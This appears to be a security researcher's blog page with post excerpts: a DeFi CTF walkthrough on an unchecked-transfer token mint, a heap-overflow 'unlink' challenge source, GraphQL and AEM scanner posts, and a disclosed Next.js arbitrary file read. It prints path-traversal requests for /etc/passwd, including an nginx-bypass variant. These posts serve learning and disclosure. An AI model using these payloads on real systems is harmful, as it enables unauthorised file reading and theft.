DeFi Hack solutions: May The Force Be With You

Back in 2018 I hosted the contest EtherHack which featured a set of vulnerable smart contracts. At that time the tasks were focused primarily on the EVM peculiarities like insecure randomness or extcodesize opcode tricks. Back then the first wave of crypto hype was coming to the end when numerous ICOs were falling apart because they did not deliver on expectations. Nowadays the crypto space is much more mature as it has got a truly useful and promising application of the blockchain technology: DeFi. 

DeFi stands for decentralized finance and aims at replacing traditional financial institutions like banks, hedge funds, insurance companies and many others. By eliminating the third party, DeFi allows to manage funds in a truly decentralized way minimizing corruption and promoting real ownership. With that said, DeFi is transparent not only to the legitimate users but also to the malicious actors. That is why smart contract failures are as critical as never before. The composability of different DeFi protocols increases the complexity of smart contract interactions. It is a really hard task to make a smart contract secure which is proved by numerous hacks of DeFi protocols that have happened over the past months. In order to raise awareness and demonstrate typical vulnerabilities of DeFi protocols me and Omar Ganiev (twitter, telegram) created the DeFi Hack wargame. Unlike Damn Vulnerable DeFi, a similar CTF made by OpenZeppelin, the tasks of DeFi Hack are based on real vulnerabilities of DeFi protocols. This is the walkthrough of the first level.

May The Force Be With You

A long time ago in a galaxy far, far away… a new DAO was created. Can you steal all the YODA tokens belonging to MayTheForceBeWithYou contract?

This level replicates the ForceDAO hack that happened in April, 2021 and resulted in the loss of 183 ETH (~$367K). The original vulnerable xFORCE smart contract was a fork of the xSUSHI vault. It allowed to deposit some FORCE tokens and get some xFORCE minted in return. When the contract transferred FORCE tokens from the user, it assumed that transferFrom() would revert if the user did not have enough tokens. However, the contract used Aragon’s MiniMe ERC20 implementation that returned a boolean value instead of reverting:

function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
        if (_amount == 0) {
            return true;
        }
        // Do not allow transfer to 0x0 or the token contract itself
        require((_to != address(0)) && (_to != address(this)));
        // If the amount being transfered is more than the balance of the
        //  account the transfer returns false
        if (balances[_from] < _amount) {
            return false;
        }

        // First update the balance array with the new value for the address
        //  sending the tokens
        balances[_from] = balances[_from] - _amount;
        // Then update the balance array with the new value for the address
        //  receiving the tokens

        require(balances[_to] + _amount >= balances[_to]); // Check for overflow
        balances[_to] = balances[_to] + _amount;
        // An event to make the transfer easy to find on the blockchain
        Transfer(_from, _to, _amount);
        return true;
    }

As you can see instead of calling revert() the contract just returns false if the balance is insufficient. It means that it was possible to basically mint tokens for free. The same logic was implemented in the task. In order to solve it one had to send two transactions: firstly call deposit() with the amount of xYODA tokens to mint, and then call withdraw() to drain the YODA tokens.

The source code of DeFi Hack is now open, you can see the solution of this level as a Hardhat test.

To be continued.

Takeaways from solving CryptoHack

Just over a month ago I learnt about a new “fun platform for learning modern cryptography” called CryptoHack. The platform looked fun indeed offering a gamified experience to master cryptography. A while ago I had a try at Matasano crypto challenges, which are now known as CryptoPals. In original Matasano challenges you had to mail your solutions for verification in order to obtain the next set of challenges which now seems ridiculous. I managed to solve just a couple of sets and abandoned it for good. I have no profound math background other than from high school and a little bit of combinatorics at the university. In order to proceed with the next sets it seemed to me that I really lack some necessary math knowledge.

However in CryptoHack there is another approach. It’s not just about challenges, but learning things. All the tasks are divided into logical categories: block ciphers, RSA, Diffie-Hellman, elliptic curves and others. Each category starts with preliminary tasks that teach you the basics that are behind well-known crypto algorithms. You start reading different sources: Wikipedia, crypto StackExchange, CTF writeups, obscure papers on arxiv.org to name the least. After enough reading you start to connect the dots and come up with solutions. I don’t remember a moment when I was more obsessed with mastering something than this time.

Here are some things that I learnt and really improved at for the past month thanks to CryptoHack:

Python 3. Endless hex and big number manipulation make you understand and remember gmpy2, PyCryptoDome and native Python 3 APIs. Python 2 seems barbaric as for now.

SageMath. Sage is a large piece of math software written in Python that covers different areas, particularly number theory which is very useful for solving CryptoHack challenges.

Fundamentals. Yeah, this is the most important one. Modular arithmetic, Chinese remainder theorem, Fermat’s little theorem, extended GCD and many others – these are the basics without which cryptography could not be imagined. And you will feel really comfortable with it.

An insight into the history of major crypto vulnerabilities. Playstation 3 hack, NSA’s Dual EC DRBG backdoor, Windows CryptoAPI failure, and others – this is something you may have heard but never understood in depth. When you try to implement the attack with bare hands you achieve another level of understanding.

I would like to thank @hyperreality and Jack for putting their efforts into creating this platform, and looking forward for the new challenges to be added.

Writeup: pwnable.kr “unlink”

Pretty easy task from pwnable.kr but took me waaay too long.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
}OBJ;

void shell(){
        system("/bin/sh");
}

void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
}
int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));

        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!
        gets(A->buf);

        // exploit this unlink!
        unlink(B);
        return 0;
}

We’ve got here three structures allocated on the heap, which are doubly-linked in a ptalloc fashion where a chunk’s header contains a pointer to the previous chunk and to the next one. There is also an obvious overflow which presumably would allow us to corrupt these structures. At the start of the program an address from the heap and one from the stack are leaked which is quite handy since the binary has got ASLR enabled.

Why you should not use GraphQL schema generators

It has been quite a while since GraphQL has been introduced by Facebook, lots of tools and frameworks has appeared and are being used in the wild now. In 2017 I made an overview of the technology from the security point of view in the post “Looting GraphQL for Fun and Profit” and some of the predictions turned out to be true. For instance, “resolvers may contain ACL-related flaws“. In this post I would like to show an example of such case in a popular GraphQL backend called graphcool.

PolySwarm Smart Contract Hacking Challenge Writeup

This is a walk through for the smart contract hacking challenge organized by PolySwarm for CODE BLUE conference held in Japan on November 01–02. Although the challenge was supposed to be held on-site for whitelisted addresses only, Ben Schmidt of PolySwarm kindly shared a wallet so that I could participate in the challenge.

Adobe Experience Manager Vulnerability Scanner

Adobe Experience Manager is content management system that is based on Apache Sling – a framework for RESTful web-applications based on an extensible content tree. Apache Sling in its turn is basically a REST API for Apache Jackrabbit, which is an implementation of Content Repository API for Java (JCR). The main principle of JCR is that everything is a resource. It means that any object in JCR repository can be retrieved in multiple ways depending on requested selector. E.g. if you make a request to /index.html you will get an HTML page, but if you replace .html with a .json selector you can get metadata of this resource:

{
  "jcr:primaryType":"cq:Page",
  "jcr:createdBy":"transport-user",
  "jcr:created":"Mon Jun 13 2018 22:09:46 GMT+0000"
}

AEM installations typically have lots of hidden gems (even password hashes) if selectors are improperly configured. aemscan helps to discover such weaknesses and much more:

  • Default credentials bruteforce
  • Info leak via default error page
  • WebDav support check (WebDav OSGI XXE CVE-2015-1833)
  • Version detection
  • Useful paths scanner

You can grab the source code from GitHub: https://github.com/Raz0r/aemscan. Pull requests are welcome!

Looting GraphQL Endpoints for Fun and Profit

In one of the previous posts about the state of modern web applications security I mentioned GraphQL – a new technology for building APIs developed by Facebook. GraphQL is rapidly gaining popularity, more and more services switch to this technology, both web and mobile applications. Some of the GraphQL users are: GitHub, Shopify, Pintereset, HackerOne and many more. You can find many posts about GraphQL benefits and advantages over classic REST API on the internet, however there is not so much information about GraphQL security considerations. In this post I would like to elaborate on GraphQL: how it works, what the weak points are, how an attacker can abuse them, and which tools can be used.

Arbitrary File Reading in Next.js < 2.4.1

Next.js is a quite popular (>13k stars on GitHub) framework for server-rendered React applications. It includes a NodeJS server which allows to render HTML pages dynamically. While digging into server’s code, a list of internal routes drew my attention:

defineRoutes() {
    const routes = {
      /* ... */
      '/_next/:path+': async(req, res, params) => {
        const p = join(__dirname, '..', 'client', ...(params.path || []))
        await this.serveStatic(req, res, p)
      },
      '/static/:path+': async(req, res, params) => {
        const p = join(this.dir, 'static', ...(params.path || []))
        await this.serveStatic(req, res, p)
      }
      /* ... */
    }

As you can see you can pass arbitrary path into serveStatic() function via /_next/ and /static/ endpoints:

export function serveStatic(req, res, path) {
  return new Promise((resolve, reject) =>; {
    send(req, path)
      .on('directory', () =>; {
        // We don't allow directories to be read.
        const err = new Error('No directory access')
        err.code = 'ENOENT'
        reject(err)
      })
      .on('error', reject)
      .pipe(res)
      .on('finish', resolve)
  })
}

This function just pipes the contents of files into the output without any validation or restrictions. So, we can try to perform a path traversal:

GET /_next/../../../../../../../../../etc/passwd HTTP/1.1

And it works! However, NodeJS application servers are usually deployed behind nginx. Due to path normalization in nginx we cannot just use forward slashes and dots, nginx will return a Bad Request error code. Luckily, NodeJS server transforms backslashes into forward slashes, so we can bypass nginx validation.

GET /_next\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1

ZEIT, the company which develops Next.js, was very quick to respond and roll out the patch. Be sure to update to the latest version.